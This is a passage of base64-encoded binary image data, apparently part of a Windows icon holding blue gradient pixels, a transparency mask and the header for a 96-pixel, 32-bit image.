8/83ZPL/NmPy/zZi8f+TqvL///////r6+v/y8vL/7u7u/+zs7P/r6+v/6+vr/+vr6//r6+v/6+vr/+vr + 6//r6+v/6+vr/+vr6//r6+v/6urr/yA7mv8kR8D/KlPm/ylT5v8pUub/KFHl/yhR5f8nUOT/J0/k/yZO + 4/8lTuP/JU3i/yRM4v8jTOH/I0vh/yJK4P8iSeD/IUnf/yFI3/8gR97/H0be/x9G3f8eRd3/HkTc/x1E + 2/8cQ9v/HELb/xtB2v8bQdn/GkDZ/xk/2P8/bvr/P235/z5s+f8+bPj/PWv3/zxq9/88aff/O2n2/zpo + 9f86Z/X/OWf0/zlm9P84ZfP/OGTz/zdk8v82Y/L/NmLx/3qW8f/S2/b/9/j7//7+/v////////////// + /////////////////////////////////////////v7+/8TN6v8lScT/K1Xn/ytU6P8qU+f/KVPm/ylS + 5v8oUeX/KFHl/ydQ5P8nT+T/Jk7j/yVO4/8lTeL/JEzi/yNM4f8jS+H/Ikrg/yJJ4P8hSd//IUjf/yBH + 3v8fRt7/H0bd/x5F3f8eRNz/HUTb/xxD2/8cQtv/G0Ha/xtB2f8aQNn/QG76/z9u+v8/bfn/Pmz5/z5s + +P89a/f/PGr3/zxp9/87afb/Omj1/zpn9f85Z/T/OWb0/zhl8/84ZPP/N2Ty/zZj8v82YvH/NWHx/zVg + 8P80YPD/NWHv/zlk7/84Y+7/OGLu/zdh7f83YO3/NmDs/zZf7P81Xuv/NF7r/zFb6v8tV+r/LFbp/yxW + 6P8rVej/K1To/ypT5/8pU+b/KVLm/yhR5f8oUeX/J1Dk/ydP5P8mTuP/JU7j/yVN4v8kTOL/I0zh/yNL + 4f8iSuD/Ikng/yFJ3/8hSN//IEfe/x9G3v8fRt3/HkXd/x5E3P8dRNv/HEPb/xxC2/8bQdr/G0HZ/0Bv + +/9Abvr/P276/z9t+f8+bPn/Pmz4/z1r9/88avf/PGn3/ztp9v86aPX/Omf1/zln9P85ZvT/OGXz/zhk + 8/83ZPL/NmPy/zZi8f81YfH/NWDw/zRg8P80X+//M1/v/zJe7v8yXe7/MVzt/zBb7f8wW+z/L1rs/y9Z + 6/8uWer/Lljq/y1X6v8sVun/LFbo/ytV6P8rVOj/KlPn/ylT5v8pUub/KFHl/yhR5f8nUOT/J0/k/yZO + 4/8lTuP/JU3i/yRM4v8jTOH/I0vh/yJK4P8iSeD/IUnf/yFI3/8gR97/H0be/x9G3f8eRd3/HkTc/x1E + 2/8cQ9v/HELb/xtB2v9BcPv/QG/7/0Bu+v8/bvr/P235/z5s+f8+bPj/PWv3/zxq9/88aff/O2n2/zpo + 9f86Z/X/OWf0/zlm9P84ZfP/OGTz/zdk8v82Y/L/NmLx/zVh8f81YPD/NGDw/zRf7/8zX+//Ml7u/zJd + 7v8xXO3/MFvt/zBb7P8vWuz/L1nr/y5Z6v8uWOr/LVfq/yxW6f8sVuj/K1Xo/ytU6P8qU+f/KVPm/ylS + 5v8oUeX/KFHl/ydQ5P8nT+T/Jk7j/yVO4/8lTeL/JEzi/yNM4f8jS+H/Ikrg/yJJ4P8hSd//IUjf/yBH + 3v8fRt7/H0bd/x5F3f8eRNz/HUTb/xxD2/8cQtv/QnH8/0Fw+/9Ab/v/QG76/z9u+v8/bfn/Pmz5/z5s + +P89a/f/PGr3/zxp9/87afb/Omj1/zpn9f85Z/T/OWb0/zhl8/84ZPP/N2Ty/zZj8v82YvH/NWHx/zVg + 8P80YPD/NF/v/zNf7/8yXu7/Ml3u/zFc7f8wW+3/MFvs/y9a7P8vWev/Llnq/y5Y6v8tV+r/LFbp/yxW + 6P8rVej/K1To/ypT5/8pU+b/KVLm/yhR5f8oUeX/J1Dk/ydP5P8mTuP/JU7j/yVN4v8kTOL/I0zh/yNL + 4f8iSuD/Ikng/yFJ3/8hSN//IEfe/x9G3v8fRt3/HkXd/x5E3P8dRNv/HEPb/0Jx/P9Ccfz/QXD7/0Bv + +/9Abvr/P276/z9t+f8+bPn/Pmz4/z1r9/88avf/PGn3/ztp9v86aPX/Omf1/zln9P85ZvT/OGXz/zhk + 8/83ZPL/NmPy/zZi8f81YfH/NWDw/zRg8P80X+//M1/v/zJe7v8yXe7/MVzt/zBb7f8wW+z/L1rs/y9Z + 6/8uWer/Lljq/y1X6v8sVun/LFbo/ytV6P8rVOj/KlPn/ylT5v8pUub/KFHl/yhR5f8nUOT/J0/k/yZO + 4/8lTuP/JU3i/yRM4v8jTOH/I0vh/yJK4P8iSeD/IUnf/yFI3/8gR97/H0be/x9G3f8eRd3/HkTc/x1E + 2/9Ccfz/QnH8/0Jx/P9BcPv/QG/7/0Bu+v8/bvr/P235/z5s+f8+bPj/PWv3/zxq9/88aff/O2n2/zpo + 9f86Z/X/OWf0/zlm9P84ZfP/OGTz/zdk8v82Y/L/NmLx/zVh8f81YPD/NGDw/zRf7/8zX+//Ml7u/zJd + 7v8xXO3/MFvt/zBb7P8vWuz/L1nr/y5Z6v8uWOr/LVfq/yxW6f8sVuj/K1Xo/ytU6P8qU+f/KVPm/ylS + 5v8oUeX/KFHl/ydQ5P8nT+T/Jk7j/yVO4/8lTeL/JEzi/yNM4f8jS+H/Ikrg/yJJ4P8hSd//IUjf/yBH + 3v8fRt7/H0bd/x5F3f8eRNz/QnH8/0Jx/P9Ccfz/QnH8/0Fw+/9Ab/v/QG76/z9u+v8/bfn/Pmz5/z5s + +P89a/f/PGr3/zxp9/87afb/Omj1/zpn9f85Z/T/OWb0/zhl8/84ZPP/N2Ty/zZj8v82YvH/NWHx/zVg + 8P80YPD/NF/v/zNf7/8yXu7/Ml3u/zFc7f8wW+3/MFvs/y9a7P8vWev/Llnq/y5Y6v8tV+r/LFbp/yxW + 6P8rVej/K1To/ypT5/8pU+b/KVLm/yhR5f8oUeX/J1Dk/ydP5P8mTuP/JU7j/yVN4v8kTOL/I0zh/yNL + 4f8iSuD/Ikng/yFJ3/8hSN//IEfe/x9G3v8fRt3/HkXd/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QXD7/0Bv + +/9Abvr/P276/z9t+f8+bPn/Pmz4/z1r9/88avf/PGn3/ztp9v86aPX/Omf1/zln9P85ZvT/OGXz/zhk + 8/83ZPL/NmPy/zZi8f81YfH/NWDw/zRg8P80X+//M1/v/zJe7v8yXe7/MVzt/zBb7f8wW+z/L1rs/y9Z + 6/8uWer/Lljq/y1X6v8sVun/LFbo/ytV6P8rVOj/KlPn/ylT5v8pUub/KFHl/yhR5f8nUOT/J0/k/yZO + 4/8lTuP/JU3i/yRM4v8jTOH/I0vh/yJK4P8iSeD/IUnf/yFI3/8gR97/H0be/x9G3f9Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9BcPv/QG/7/0Bu+v8/bvr/P235/z5s+f8+bPj/PWv3/zxq9/88aff/O2n2/zpo + 9f86Z/X/OWf0/zlm9P84ZfP/OGTz/zdk8v82Y/L/NmLx/zVh8f81YPD/NGDw/zRf7/8zX+//Ml7u/zJd + 7v8xXO3/MFvt/zBb7P8vWuz/L1nr/y5Z6v8uWOr/LVfq/yxW6f8sVuj/K1Xo/ytU6P8qU+f/KVPm/ylS + 5v8oUeX/KFHl/ydQ5P8nT+T/Jk7j/yVO4/8lTeL/JEzi/yNM4f8jS+H/Ikrg/yJJ4P8hSd//IUjf/yBH + 3v8fRt7/QnH8/UJx/P9Ccfz/QnH8/0Jx/P9Ccfz/QnH8/0Fw+/9Ab/v/QG76/z9u+v8/bfn/Pmz5/z5s + +P89a/f/PGr3/zxp9/87afb/Omj1/zpn9f85Z/T/OWb0/zhl8/84ZPP/N2Ty/zZj8v82YvH/NWHx/zVg + 8P80YPD/NF/v/zNf7/8yXu7/Ml3u/zFc7f8wW+3/MFvs/y9a7P8vWev/Llnq/y5Y6v8tV+r/LFbp/yxW + 6P8rVej/K1To/ypT5/8pU+b/KVLm/yhR5f8oUeX/J1Dk/ydP5P8mTuP/JU7j/yVN4v8kTOL/I0zh/yNL + 4f8iSuD/Ikng/yFJ3/8hSN//IEje/UFw+sNCcfz/QnH8/0Jx/P9Ccfz/QnH8/0Jx/P9Ccfz/QXD7/0Bv + +/9Abvr/P276/z9t+f8+bPn/Pmz4/z1r9/88avf/PGn3/ztp9v86aPX/Omf1/zln9P85ZvT/OGXz/zhk + 8/83ZPL/NmPy/zZi8f81YfH/NWDw/zRg8P80X+//M1/v/zJe7v8yXe7/MVzt/zBb7f8wW+z/L1rs/y9Z + 6/8uWer/Lljq/y1X6v8sVun/LFbo/ytV6P8rVOj/KlPn/ylT5v8pUub/KFHl/yhR5f8nUOT/J0/k/yZO + 4/8lTuP/JU3i/yRM4v8jTOH/I0vh/yJK4P8iSeD/IUnf/yFI3sNAcPcgQXD6w0Jx/P1Ccfz/QnH8/0Jx + /P9Ccfz/QnH8/0Jx/P9BcPv/QG/7/0Bu+v8/bvr/P235/z5s+f8+bPj/PWv3/zxq9/88aff/O2n2/zpo + 9f86Z/X/OWf0/zlm9P84ZfP/OGTz/zdk8v82Y/L/NmLx/zVh8f81YPD/NGDw/zRf7/8zX+//Ml7u/zJd + 7v8xXO3/MFvt/zBb7P8vWuz/L1nr/y5Z6v8uWOr/LVfq/yxW6f8sVuj/K1Xo/ytU6P8qU+f/KVPm/ylS + 5v8oUeX/KFHl/ydQ5P8nT+T/Jk7j/yVO4/8lTeL/JEzi/yNM4f8jS+H/Ikvg/SFJ38MgSN8g///wAAAA + AAH//8AAAAAAAP//gAAAAAAA//8AAAAAAAD//gAAAAAAAP/8AAAAAAAA//gAAAAAAAD/8AAAAAAAAP/g + AAAAAAAA/8AAAAAAAAD/gAAAAAAAAP8AAAAAAAAA/gAAAAAAAAD8AAAAAAAAAPgAAAAAAAAA8AAAAAAA + AADgAAAAAAAAAMAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAEoAAAAYAAAAMAAAAABACAAAAAAAAAgAQAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq + 1AYNL9AmEznThRM50tMUONL3FDnU/xQ41P8UONP/EzfT/xM30v8SN9L/EjbS/xI20f8RNdH/ETTR/xA0 + 0P8QNND/EDPQ/w8yz/8PMs//DjHP/w4xzv8OMc7/DTDN/w0wzf8ML83/DC/M/wwuzP8LLsz/Cy3L/wos + yv8KK8j/CivI/wkqyP8JKsj/CCnG/wgpw/8IKsP/BynE/wcoxP8GKMX/BifG/wYnxv8FJ8f/BSbG/wQl + xv8EJcb/BCTF/wMkxf8DJMX/AiPE/wIjxP8CIsT/ASLD/wEhw/8BIcP/ACDC/wAgwv8AIML/ACDC/wAg + wv8AIML/ACDC/wAgwv8DIsL/OlPO9neI3npVf9QGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAADPMChQ61XMVO9TkFjvV/xU61f8VOtT/FDnU/xQ51P8UONT/EzjT/xM3 + 0/8TN9L/EjbS/xI20v8SNtH/ETXR/xE00f8QNND/EDPQ/xAz0P8PMs//DjLP/w4xz/8OMc7/DTHO/w0w + zf8NMM3/DC/N/wwvzP8MLsz/Cy3L/wssyf8KLMf/CivI/woryP8JKsb/CSnD/wgqw/8IKsP/CCnD/wcp + xP8HKMT/BijG/wYnxv8GJ8b/BSbH/wUmxv8EJcb/BCXF/wQkxf8DJMX/AyPF/wIjxP8CI8T/AiLD/wEi + w/8BIcP/ACDC/wAgwv8AIML/ACDC/wAgwv8AIML/ACDC/wAgwv8AIML/ACDC/xs4yPt3iN56AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFTrWhBY71fQXPNb/FjvV/xY7 + 1f8VOtX/FTnU/xQ51P8UOdT/FDjT/xM40/8TN9P/EjfS/xI20v8SNtL/ETXR/xE10f8RNNH/EDTQ/xAz + 0P8QM9D/DzLP/w4yz/8OMc//DjHO/w0xzv8NMM3/DC/N/wwvzf8ML8z/Cy3I/wssyP8LLMf/CivH/woq + xv8KKcH/CSnC/wkpwv8IKsP/CCrD/wgpw/8HKcT/BijE/wYoxv8GJ8b/BSfH/wUmx/8FJsb/BCXG/wQl + xf8EJMX/AyTF/wMjxf8CI8T/AiLE/wIiw/8BIsP/ASHD/wAgwv8AIML/ACDC/wAgwv8AIML/ACDC/wAg + wv8AIML/ACDC/wAgwv86U872AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz + 5QoVPNiEGD3X/xc91v8XPNb/FzzW/xY71v8WO9X/FTrV/xU61P8VOdT/FDnU/xQ41P8UONP/EzfT/xM3 + 0v8SN9L/EjbS/xI20f8RNdH/ETTR/xA00P8QNND/EDPQ/w8yz/8PMs//DjHP/w4xzv8OMc7/DTDN/w0v + zP8MLsn/DC7H/wwtx/8LLcf/CyvG/woqv/8KKb//CinB/wkpwf8JKcL/CCrD/wgqw/8IKsP/BynE/wco + xP8GKMX/BifG/wYnxv8FJ8f/BSbG/wQlxv8EJcb/BCTF/wMkxf8DJMX/AiPE/wIjxP8CIsT/ASLD/wEh + w/8BIcP/ACDC/wAgwv8AIML/ACDC/wAgwv8AIML/ACDC/wAgwv8DIsL/AAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAC7RCxc81oMYPtj0GD7X/xg91/8XPdb/FzzW/xc81v8WO9b/FjvV/xU6 + 1f8VOtT/FDnU/xQ51P8UONT/EzjT/xM30/8TN9L/EjbS/xI20v8SNtH/ETXR/xE00f8QNND/EDPQ/xAz + 0P8PMs//DjLP/w4xz/8OMc7/DTDN/w0vyv8NL8f/DC7I/wwux/8MLcT/Cyq//wsqvv8KKr7/CinA/wop + wf8JKcH/CSnC/wgqw/8IKsP/CCnD/wcpxP8HKMT/BijG/wYnxv8GJ8b/BSbH/wUmxv8EJcb/BCXF/wQk + xf8DJMX/AyPF/wIjxP8CI8T/AiLD/wEiw/8BIcP/ACDC/wAgwv8AIML/ACDC/wAgwv8AIML/ACDC/wAg + wv8AIML/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFz3YhRg/2PQZPtj/GD7X/xg+ + 1/8YPdf/FzzW/xc81v8XPNb/FjvV/xY71f8VOtX/FTnU/xQ51P8UOdT/FDjT/xM40/8TN9P/EjfS/xI2 + 0v8SNtL/ETXR/xE10f8RNNH/EDTQ/xAz0P8QM9D/DzLP/w4yz/8OMc//DjDK/w0wyP8NL8f/DC7H/wwt + xf8MK77/Cyu8/wsqvv8LKr7/Cim+/wopwP8KKcH/CSnC/wkpwv8IKsP/CCrD/wgpw/8HKcT/BijE/wYo + xv8GJ8b/BSfH/wUmx/8FJsb/BCXG/wQlxf8EJMX/AyTF/wMjxf8CI8T/AiLE/wIiw/8BIsP/ASHD/wAg + wv8AIML/ACDC/wAgwv8AIML/ACDC/wAgwv8AIML/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz + 5QoZQNqEGkDZ/xpA2f8ZP9j/GT7Y/xk+2P8YPtf/GD3X/xc91v8XPNb/FzzW/xY71v8WO9X/FTrV/xU6 + 1P8VOdT/FDnU/xQ41P8UONP/EzfT/xM30v8SN9L/EjbS/xI20f8RNdH/ETTR/xA00P8QNND/EDPQ/w8y + z/8PMMr/Di/J/w4vyP8OL8j/DS7G/w0tvv8MLLv/DCy8/wwrvP8LK73/Cyq+/woqvv8KKb//CinB/wkp + wf8JKcL/CCrD/wgqw/8IKsP/BynE/wcoxP8GKMX/BifG/wYnxv8FJ8f/BSbG/wQlxv8EJcb/BCTF/wMk + xf8DJMX/AiPE/wIjxP8CIsT/ASLD/wEhw/8BIcP/ACDC/wAgwv8AIML/ACDC/wAgwv8AIML/AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAFy7RCxlA2IMaQdr0GkDZ/xpA2f8aQNn/GT/Y/xk+2P8ZPtj/GD7X/xg9 + 1/8XPdb/FzzW/xc81v8WO9b/FjvV/xU61f8VOtT/FDnU/xQ51P8UONT/EzjT/xM30/8TN9L/EjbS/xI2 + 0v8SNtH/ETXR/xE00f8QNND/DzPP/w8yy/8PMMj/DjDI/w4vyf8OLsb/DSy+/w0su/8NLLv/DCy7/wws + vP8MK7z/Cyq+/wsqvv8KKr7/CinA/wopwf8JKcH/CSnC/wgqw/8IKsP/CCnD/wcpxP8HKMT/BijG/wYn + xv8GJ8b/BSbH/wUmxv8EJcb/BCXF/wQkxf8DJMX/AyPF/wIjxP8CI8T/AiLD/wEiw/8BIcP/ACDC/wAg + wv8AIML/ACDC/wAgwv8AIML/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGUHYhRpC2vQbQdr/G0HZ/xpA + 2f8aQNn/GT/Y/xk/2P8ZPtj/GD7X/xg+1/8YPdf/FzzW/xc81v8XPNb/FjvV/xY71f8VOtX/FTnU/xQ5 + 1P8UOdT/FDjT/xM40/8TN9P/EjfS/xI20v8SNtL/ETXR/xE10f8RNNH/DzLL/w8xyP8PMcj/DzDI/w4v + xf8NLb7/DSy6/w0suv8NLLv/DCy7/wwsu/8MLLz/Cyu8/wsqvv8LKr7/Cim+/wopwP8KKcH/CSnC/wkp + wv8IKsP/CCrD/wgpw/8HKcT/BijE/wYoxv8GJ8b/BSfH/wUmx/8FJsb/BCXG/wQlxf8EJMX/AyTF/wMj + xf8CI8T/AiLE/wIiw/8BIsP/ASHD/wAgwv8AIML/ACDC/wAgwv8AIML/AAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz + 5QobRNqEHEPb/xxD2/8cQtv/G0Ha/xtB2v8bQdn/GkDZ/xpA2f8ZP9j/GT7Y/xk+2P8YPtf/GD3X/xc9 + 1v8XPNb/FzzW/xY71v8WO9X/FTrV/xU61P8VOdT/FDnU/xQ41P8UONP/EzfT/xM30v8SN9L/EjbS/xE1 + 0f8QNMv/EDLI/w8yyP8PMsf/DjDF/w0uvv8NLLj/DSy5/w0suv8NLLr/DSy7/w0su/8MLLv/DCy8/wwr + vP8LK73/Cyq+/woqvv8KKb//CinB/wkpwf8JKcL/CCrD/wgqw/8IKsP/BynE/wcoxP8GKMX/BifG/wYn + xv8FJ8f/BSbG/wQlxv8EJcb/BCTF/wMkxf8DJMX/AiPE/wIjxP8CIsT/ASLD/wEhw/8BIcP/ACDC/wAg + wv8AIML/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAFy7RCxtC2oMcRNz0HUPb/xxD2/8cQ9v/G0La/xtB2v8bQdr/GkDZ/xpA + 2f8aQNn/GT/Y/xk+2P8ZPtj/GD7X/xg91/8XPdb/FzzW/xc81v8WO9b/FjvV/xU61f8VOtT/FDnU/xQ5 + 1P8UONT/EzjT/xM30/8TN9L/ETbR/xE1zP8RNMj/EDPI/xAyyP8PMcT/DS69/w0tt/8NLLf/DSy4/w0s + uf8NLLr/DSy6/w0su/8NLLv/DCy7/wwsvP8MK7z/Cyq+/wsqvv8KKr7/CinA/wopwf8JKcH/CSnC/wgq + w/8IKsP/CCnD/wcpxP8HKMT/BijG/wYnxv8GJ8b/BSbH/wUmxv8EJcb/BCXF/wQkxf8DJMX/AyPF/wIj + xP8CI8T/AiLD/wEiw/8BIcP/ACDC/wAgwv8AIML/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHUPahR1E3PQeRNz/HUTb/x1D + 2/8cQ9v/HELb/xtC2v8bQdr/G0HZ/xpA2f8aQNn/GT/Y/xk/2P8ZPtj/GD7X/xg+1/8YPdf/FzzW/xc8 + 1v8XPNb/FjvV/xY71f8VOtX/FTnU/xQ51P8UOdT/FDjT/xM40/8TN9P/ETTM/xE0yP8RNMj/EDPH/w8y + xP8PML3/DS21/w0ttf8NLbb/DSy3/w0suP8NLLn/DSy6/w0suv8NLLv/DCy7/wwsu/8MLLz/Cyu8/wsq + vv8LKr7/Cim+/wopwP8KKcH/CSnC/wkpwv8IKsP/CCrD/wgpw/8HKcT/BijE/wYoxv8GJ8b/BSfH/wUm + x/8FJsb/BCXG/wQlxf8EJMX/AyTF/wMjxf8CI8T/AiLE/wIiw/8BIsP/ASHD/wAgwv8AIML/AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz + 5QodRNyEH0bd/x9F3f8eRd3/HkTc/x1E3P8dRNv/HEPb/xxD2/8cQtv/G0Ha/xtB2v8bQdn/GkDZ/xpA + 2f8ZP9j/GT7Y/xk+2P8YPtf/GD3X/xc91v8XPNb/FzzW/xY71v8WO9X/FTrV/xU61P8VOdT/FDnU/xM4 + 0/8TNc3/EjTI/xI0yP8RNMf/EDLF/w8wvf8OLrP/Di20/w0ttf8NLbX/DS22/w0st/8NLLf/DSy5/w0s + uv8NLLr/DSy7/w0su/8MLLv/DCy8/wwrvP8LK73/Cyq+/woqvv8KKb//CinB/wkpwf8JKcL/CCrD/wgq + w/8IKsP/BynE/wcoxP8GKMX/BifG/wYnxv8FJ8f/BSbG/wQlxv8EJcb/BCTF/wMkxf8DJMX/AiPE/wIj + xP8CIsT/ASLD/wEhw/8BIcP/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAF0bRCx1G3IMfR970H0bd/x9G3f8fRd3/HkXc/x5E3P8dRNz/HUPb/xxD + 2/8cQ9v/G0La/xtB2v8bQdr/GkDZ/xpA2f8aQNn/GT/Y/xk+2P8ZPtj/GD7X/xg91/8XPdb/FzzW/xc8 + 1v8WO9b/FjvV/xU61f8VOtT/FDjT/xM2zf8TNcn/EjXI/xI0x/8RM8P/DzG8/w8utP8PLrL/Di6y/w4t + tP8NLbX/DS21/w0ttf8NLLf/DSy4/w0suf8NLLr/DSy6/w0su/8NLLv/DCy7/wwsvP8MK7z/Cyq+/wsq + vv8KKr7/CinA/wopwf8JKcH/CSnC/wgqw/8IKsP/CCnD/wcpxP8HKMT/BijG/wYnxv8GJ8b/BSbH/wUm + xv8EJcb/BCXF/wQkxf8DJMX/AyPF/wIjxP8CI8T/AiLD/wEiw/8BIcP/AAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH0XchR9H3vQgR97/H0be/x9G + 3f8fRt3/HkXd/x5F3P8eRNz/HUTb/x1D2/8cQ9v/HELb/xtC2v8bQdr/G0HZ/xpA2f8aQNn/GT/Y/xk/ + 2P8ZPtj/GD7X/xg+1/8YPdf/FzzW/xc81v8XPNb/FjvV/xY71f8VOtX/FDfN/xM2yP8TNsj/EzXI/xI0 + xP8RM73/Dy60/w8usf8PLrH/Di6y/w4usv8OLbT/DS21/w0ttf8NLbb/DSy3/w0suP8NLLn/DSy6/w0s + uv8NLLv/DCy7/wwsu/8MLLz/Cyu8/wsqvv8LKr7/Cim+/wopwP8KKcH/CSnC/wkpwv8IKsP/CCrD/wgp + w/8HKcT/BijE/wYoxv8GJ8b/BSfH/wUmx/8FJsb/BCXG/wQlxf8EJMX/AyTF/wMjxf8CI8T/AiLE/wIi + w/8BIsP/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABkz + 5QohR+CEIUnf/yFI3/8hSN//IEfe/yBH3v8fRt7/H0bd/x9F3f8eRd3/HkTc/x1E3P8dRNv/HEPb/xxD + 2/8cQtv/G0Ha/xtB2v8bQdn/GkDZ/xpA2f8ZP9j/GT7Y/xk+2P8YPtf/GD3X/xc91v8XPNb/FzzW/xY7 + 1f8VOM7/FDfI/xQ3yP8UNsf/EjTE/xEyvP8QLrD/Dy6u/w8ur/8PLq//Di2w/w4tsP8OLbH/Di20/w0t + tf8NLbX/DS22/w0st/8NLLf/DSy5/w0suv8NLLr/DSy7/w0su/8MLLv/DCy8/wwrvP8LK73/Cyq+/woq + vv8KKb//CinB/wkpwf8JKcL/CCrD/wgqw/8IKsP/BynE/wcoxP8GKMX/BifG/wYnxv8FJ8f/BSbG/wQl + xv8EJcb/BCTF/wMkxf8DJMX/AiPE/wIjxP8CIsT/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAF0bRCyFI3oMhSuD0IUnf/yFJ3/8hSN//IEje/yBH3v8gR97/H0bd/x9G + 3f8fRd3/HkXc/x5E3P8dRNz/HUPb/xxD2/8cQ9v/G0La/xtB2v8bQdr/GkDZ/xpA2f8aQNn/GT/Y/xk+ + 2P8ZPtj/GD7X/xg91/8XPdb/FjvV/xY5zv8VOMn/FTjI/xQ3yP8TNcP/EjK5/w8sp/8PKaD/Dymf/w4p + oP8OKqH/Diqh/w4pov8OKqf/Di2u/w4ttP8NLbX/DS21/w0ttf8NLLf/DSy4/w0suf8NLLr/DSy6/w0s + u/8NLLv/DCy7/wwsvP8MK7z/Cyq+/wsqvv8KKr7/CinA/wopwf8JKcH/CSnC/wgqw/8IKsP/CCnD/wcp + xP8HKMT/BijG/wYnxv8GJ8b/BSbH/wUmxv8EJcb/BCXF/wQkxf8DJMX/AyPF/wIjxP8CI8T/AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIUnehSJK4PQiSuD/Ikng/yFJ + 3/8hSd//IUjf/yBI3v8gR97/H0be/x9G3f8fRt3/HkXd/x5F3P8eRNz/HUTb/x1D2/8cQ9v/HELb/xtC + 2v8bQdr/G0HZ/xpA2f8aQNn/GT/Y/xk/2P8ZPtj/GD7X/xg+1/8YPdf/FjrO/xY4yf8WOMn/FTjI/xQ2 + xP8TNLr/Diqa/w4nj/8NJ4//DSaR/w0mkf8MJpL/DCeU/w0nl/8NKZ//Diuq/w4usv8OLbT/DS21/w0t + tf8NLbb/DSy3/w0suP8NLLn/DSy6/w0suv8NLLv/DCy7/wwsu/8MLLz/Cyu8/wsqvv8LKr7/Cim+/wop + wP8KKcH/CSnC/wkpwv8IKsP/CCrD/wgpw/8HKcT/BijE/wYoxv8GJ8b/BSfH/wUmx/8FJsb/BCXG/wQl + xf8EJMX/AyTF/wMjxf8CI8T/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABkz + 5QohS+KEI0zh/yNL4f8jS+H/Ikrg/yJK4P8iSeD/IUnf/yFI3/8hSN//IEfe/yBH3v8fRt7/H0bd/x9F + 3f8eRd3/HkTc/x1E3P8dRNv/HEPb/xxD2/8cQtv/G0Ha/xtB2v8bQdn/GkDZ/xpA2f8ZP9j/GT7Y/xg9 + 